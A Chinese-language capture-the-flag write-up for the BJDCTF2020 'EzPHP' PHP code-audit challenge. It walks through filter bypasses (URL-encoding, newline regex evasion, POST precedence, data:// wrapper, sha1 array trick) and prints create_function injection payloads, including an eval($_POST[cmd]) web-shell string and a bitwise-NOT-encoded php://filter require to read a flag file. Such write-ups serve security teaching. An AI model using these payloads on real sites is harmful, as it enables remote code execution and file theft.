BJDCTF2020EzPHP
知识点
各种绕过 + create_function 函数的构造
解题
题目是一个代码审计


1.首先绕过 $_SERVER[‘QUERY_STRING’],这个也是获取字符串查询参数,但是和$ _GET[ ],不同的是,它不能对url编码自动进行解码,所以我们把参数 url编码一下就可以绕过。
2.首尾要匹配aqua_is_cute,但是字符串又不能是这个,我们可以用%0A(换行)来绕过。 $ 这个在非多行模式下,是不匹配换行符的
3.绕过($_REQUEST),因为同一个参数的POST 方法 和 GET 方法,POST方法的优先级更高,所以我们POST一个参数名也为file和debu,值为数字,就可以绕过去
4.读取$file的内容,这个用data协议就可以办到
5.sha1()函数的比较,用数组绕过去
6.最后一个是最关键的一步,create_function()函数注入
介绍 create_function 函数:
有两个参数create_function($string arg,$string code),创建一个类似于lamada样式的东西
例如:
$myfunction=create_function(‘$a,$b’,’return ($a+$b);’);
print_r($myfunction(‘1,2’)); 结果是3
相当于创建了一个函数
function myfunction($a,$b)
{
return $a+$b;
}
如果 $code 参数可控, 那么我们可以构造 create_function(‘ $a,$b’,’return $a+$b;}eval($_POST[cmd]);//‘)
产生的效果就是:
function myfunction($a,$b)
{
return $a+$b;}eval($_POST[cmd]);//
}
}闭合前面的{,后面的eval逃逸出来,并且// 注释了原先的} ,造成了注入
在此题中,我们可以利用到一个函数 get_defined_vars(),这个是可以得到所有的变量,我们在配合 var_dump()函数去打印出来
即构造 flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//
最后加在后面打出来:

告诉我们在 rea1fl4g.php里面,arg参数过滤了很多可以利用的函数,但是没有过滤require,我们可以用require函数来把它包含进来,然后利用伪协议读它的base64形式,require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php) 但是伪协议也被ban了,这个时候我们用取反来绕过去:
1 | require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1 |
解密得到flag